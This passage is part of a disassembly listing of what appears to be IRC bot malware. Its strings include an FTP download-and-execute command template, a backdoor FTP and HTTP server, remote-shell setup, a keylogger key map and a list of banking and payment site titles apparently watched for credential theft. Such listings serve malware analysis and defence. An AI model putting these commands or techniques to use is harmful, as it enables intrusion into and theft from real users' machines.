'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 10h aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40EFE5+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40F219+130o ; sub_41A2D6+21o align 10h aEchoOpenSDOEch db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o' ; DATA XREF: sub_40F405+23Eo db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F6A7+5CAo a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_40F6A7+5A9o align 10h dword_436CD0 dd 1F023103h, 3021F8Ch, 0B71F3531h, 3430031Fh, 1F024602h ; DATA XREF: sub_40F6A7+558o dd 70021F54h, 35310302h, 31FB71Fh, 203A3431h, 31F8B1Fh dd 31F4F31h, 1FB73430h, 30031F1Fh, 31F7731h, 3B73430h dd 21F3430h, 31F024Eh, 3B73430h, 651F3130h, 30031F1Fh dd 1FB71F34h, 44313003h, 3431031Fh, 30031F9Bh, 73252034h dd 0 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F6A7+546o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_40F6A7+4EBo align 4 aRetr db 'RETR',0 ; DATA XREF: sub_40F6A7+4D3o align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F6A7+4C3o align 4 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40F6A7+4B2o aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40F6A7+47Fo align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F6A7+43Bo db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_40F6A7+402o align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F6A7+3D4o align 10h aList_0 db 'LIST',0 ; DATA XREF: sub_40F6A7+3C1o align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_40F6A7+386o align 4 aPasv db 'PASV',0 ; DATA XREF: sub_40F6A7+373o align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F6A7+363o aI_0: ; DATA XREF: sub_40F6A7+34Fo ; .XPack0:0043AC78o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F6A7+328o aA_0: ; DATA XREF: sub_40F6A7+314o ; .XPack0:0043AC84o unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_40F6A7+2FDo ; sub_40F6A7+338o align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F6A7+2EDo align 4 off_436E94 dd offset dword_445750 ; DATA XREF: sub_40F6A7+2D9o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F6A7+2C9o align 4 aRest db 'REST',0 ; DATA XREF: sub_40F6A7+2B5o align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F6A7+2A5o align 4 aSyst db 'SYST',0 ; DATA XREF: sub_40F6A7+291o align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F6A7+281o align 4 aPass_0 db 'PASS',0 ; DATA XREF: sub_40F6A7+26Do align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40F6A7+25Do align 4 aUser_0 db 'USER',0 ; DATA XREF: sub_40F6A7+248o align 4 aSS_0 db '%s %s',0 ; DATA XREF: sub_40F6A7+237o align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F6A7+1B9o align 4 unk_436F2C db 2 ; DATA XREF: sub_40FDBE+3D3o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 34h, 91h db 3 db 2, 48h, 2 db 74h ; t db 74h, 70h, 64h db 3 db 30h, 34h, 2Ch db 3 db 31h, 34h, 3Ah db 3 a4ServerFailedR db '4 Server Failed, returned %d',0 align 4 asc_436F68 db 0Dh,0Ah,0 ; DATA XREF: sub_40FDBE+2BEo ; sub_41AB47+F2o align 4 aGet_0 db 'GET ',0 ; DATA XREF: sub_40FDBE+258o align 8 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4101F4+F0o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4101F4+D3o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_4101F4+97o ; sub_41B0A1+1AEo align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_4101F4+83o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_4101F4:loc_41025Fo align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_4101F4+64o align 10h unk_437190 db 2 ; DATA XREF: sub_410370+27Co db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 34h, 91h db 3 db 2, 48h, 2 db 74h ; t db 74h, 70h, 64h db 3 db 30h, 34h, 2Ch db 3 db 31h, 34h, 3Ah db 3 a4FailedToSta_0 db '4 failed to start worker thread, error %d',0 align 4 unk_4371D8 db 2 ; DATA XREF: sub_410370+20Ao db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 34h, 2, 48h db 2 db 2 dup(74h), 70h db 64h ; d db 3, 30h, 31h db 2Ch ; , db 3, 31h, 34h db 3Ah ; : db 3, 20h, 57h aOrkerThreadOfS db 'orker Thread Of Server Thread: %d.',0 align 4 asc_43721C: ; DATA XREF: sub_410370+156o unicode 0, <*>,0 aS_5 db '\%s',0 ; DATA XREF: sub_410370+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_41061F+64Do align 10h aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_41061F+638o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_41061F+61Do align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41061F+58Eo align 8 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_41061F+566o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41061F:loc_410B42o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41061F+51Co align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41061F+476o align 10h a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41061F+439o align 10h aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_41061F+406o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41061F:loc_4109ECo align 10h aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41061F+3C6o align 10h aSS_1 db '%s%s/',0 ; DATA XREF: sub_41061F+379o align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_41061F+335o ; sub_41061F+48Bo db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_41061F+308o align 4 aS_0 db '<%s>',0 ; DATA XREF: sub_41061F+2DEo ; sub_41061F+418o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_41061F+2B4o aAm db 'AM',0 ; DATA XREF: sub_41061F+293o align 10h aPm db 'PM',0 ; DATA XREF: sub_41061F+284o align 4 a__ db '..',0 ; DATA XREF: sub_41061F+231o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_41061F+1BFo db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41061F+146o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_41061F+12Ao db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_41061F+F6o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41061F+ACo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_41061F+77o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41061F+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410D8B+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 unk_4376D0 db 3 ; DATA XREF: sub_410EAC+16Eo db 31h, 35h, 2Ch db 30h ; 0 db 5Bh, 2, 3 db 30h ; 0 db 34h, 91h, 3 db 30h ; 0 db 31h, 2, 1Fh db 69h ; i db 1Fh, 2, 64h db 2 db 65h, 2, 6Eh db 2 db 74h, 2, 64h db 2 db 3, 30h, 34h db 2Ch ; , db 3, 31h, 35h db 5Dh ; ] db 3, 34h, 20h aServerFailedRe db 'server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_410EAC+113o align 10h unk_437730 db 3 ; DATA XREF: sub_410EAC+BBo db 31h, 35h, 2Ch db 30h ; 0 db 5Bh, 2, 3 db 30h ; 0 db 34h, 91h, 3 db 30h ; 0 db 31h, 2, 1Fh db 69h ; i db 1Fh, 2, 64h db 2 db 65h, 2, 6Eh db 2 db 74h, 2, 64h db 2 db 3, 30h, 34h db 2Ch ; , db 3, 31h, 35h db 5Dh ; ] db 3, 34h, 20h aClientConnecti db 'client connection from %s:%d.',0 align 4 unk_437778 db 2Dh ; - ; DATA XREF: sub_411057+14Bo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_23 db 'Failed to start client thread, error: <%d>.',0 align 8 unk_4377B8 db 2Dh ; - ; DATA XREF: sub_411057+E9o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 10h unk_437800 db 2Dh ; - ; DATA XREF: sub_4111E7+157o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_24 db 'Failed to start connection thread, error: <%d>.',0 unk_437840 db 2Dh ; - ; DATA XREF: sub_4111E7+E1o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_437884 db 2Dh ; - ; DATA XREF: sub_41146C+1E9o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 10h unk_4378B0 db 2Dh ; - ; DATA XREF: sub_41146C+1C2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 4 unk_4378DC db 2Dh ; - ; DATA XREF: sub_41146C+1A2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_41146C+172o align 4 unk_437918 db 2Dh ; - ; DATA XREF: sub_41146C+E1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 unk_437944 db 2Dh ; - ; DATA XREF: sub_411671:loc_4116A3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 10h unk_437970 db 2Dh ; - ; DATA XREF: sub_4116B2+1Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aLoginRejectedR db '- Login rejected, Remote user: <%s@%s>.',0 align 4 unk_4379A8 db 2Dh ; - ; DATA XREF: sub_4116E1+218o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorServerFai db '- Error: server failed, returned: <%d>.',0 align 10h unk_4379E0 db 2Dh ; - ; DATA XREF: sub_4116E1+1E8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_25 db '- Failed to start client thread, error: <%d>.',0 align 10h unk_437A20 db 2Dh ; - ; DATA XREF: sub_4116E1+177o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0 unk_437A64 db 2Dh ; - ; DATA XREF: sub_4116E1+106o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aReadyAndWaitin db '- Ready and waiting for incoming connections.',0 align 10h unk_437AA0 db 2Dh ; - ; DATA XREF: sub_4116E1+70o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToInstal db '- Failed to install control-C handler, error: <%d>.',0 align 4 unk_437AE4 db 2Dh ; - ; DATA XREF: sub_4116E1+3Do db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 10h unk_437B10 db 2Dh ; - ; DATA XREF: sub_411968+E2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 8 unk_437B48 db 2Dh ; - ; DATA XREF: sub_411968+59o ; sub_411968+8Fo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 10h unk_437B90 db 2Dh ; - ; DATA XREF: sub_411ABD+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_437BB8 db 2Dh ; - ; DATA XREF: sub_411ABD+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_437BF8 db 2Dh ; - ; DATA XREF: sub_411ABD+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_437C38 db 2Dh ; - ; DATA XREF: sub_411BB6+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 10h aCmdQ db 'cmd /q',0 ; DATA XREF: sub_411BB6+8Co align 4 unk_437C78 db 2Dh ; - ; DATA XREF: sub_411C8F+8Do db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0 dword_437CB4 dd 234032Dh, 6B636F73h, 3023473haFailedToSta_26 db '- Failed to start server on Port %d.',0 align 4 dword_437CE8 dd 234032Dh, 6B636F73h, 3023473haFailedToSta_27 db '- Failed to start client thread, error: <%d>.',0 align 8 dword_437D28 dd 234032Dh, 6B636F73h, 3023473haClientConnec_3 db '- Client connection from IP: %s:%d, Server thread: %d.',0 align 10h dword_437D70 dd 234032Dh, 6B636F73h, 3023473haErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0 align 4 dword_437DB4 dd 234032Dh, 6B636F73h, 3023473haErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0 align 4 dword_437DF4 dd 234032Dh, 6B636F73h, 3023473haAuthentication db '- Authentication failed. Remote userid: %s != %s.',0 align 4 dword_437E34 dd 4000500h, 7868746Bh, 0dword_437E40 dd 1F023403h, 3021F8Ch, 0B71F3531h, 3130031Fh, 1F024602h ; DATA XREF: sub_412407+3A6o dd 70021F54h, 35310302h, 31FB71Fh, 203A3431h, 31F8B1Fh dd 1F034F34h, 30031FA4h, 1F037734h, 2031FA4h, 1F03024Eh dd 30031FA4h, 1F036534h, 30031FA4h, 31034434h, 1F9B1F34h dd 73252003h, 0 dword_437E98 dd 6F672D65h, 646Ch, 1Eh dup(0)aHotmail db 'Hotmail',0 dd 1Eh dup(0) aPaypal_1 db 'PayPal',0 align 10h dd 1Eh dup(0) dd 69676F4Ch, 202D206Eh, 50796150h, 6C61h, 1Ch dup(0) aRapidshare1Cli db 'RapidShare: 1-Click Webhosting',0 align 4 dd 18h dup(0) aOnlinePaymentM db 'Online Payment, Merchant Account - PayPal',0 align 4 dd 15h dup(0) aStormpay db 'StormPay',0 align 4 dd 1Dh dup(0) aRapidshare1C_0 db 'RapidShare: 1-Click Webhosting',0 align 4 dd 18h dup(0) aStormpay_comAc db 'StormPay.com, Accept Online Payments',0 align 10h dd 16h dup(0) aWorldpay db 'WorldPay',0 align 4 dd 1Dh dup(0) dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0) aWellsFargoHome db 'Wells Fargo Home Page',0 align 10h dd 1Ah dup(0) aRyan1918DontNe db 'Ryan1918 Dont NET :: Log in',0 dd 19h dup(0) aEbay db 'eBay',0 align 10h dd 1Eh dup(0) aEbayNewUsedEle db 'eBay - New & used electronics, cars, apparel, collectibles, sport' db 'ing goods & more at low prices',0 dd 8 dup(0) aEbayNewUsedE_0 db 'eBay - New & used electronics, cars, apparel, collectibles, sport' db 'ing goods & more at low prices',0 dd 8 dup(0) dd 8 dword_43869C dd 62h, 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 41000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_438DCC dd 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_438E04 dd 28207325h, 297325h ; sub_41B0A1+EBo a__S_l_ReturnS db '..%s.. (Return) (%s)',0 ; DATA XREF: sub_412911+3EEo align 4 a__S_l_Return db '..%s.. 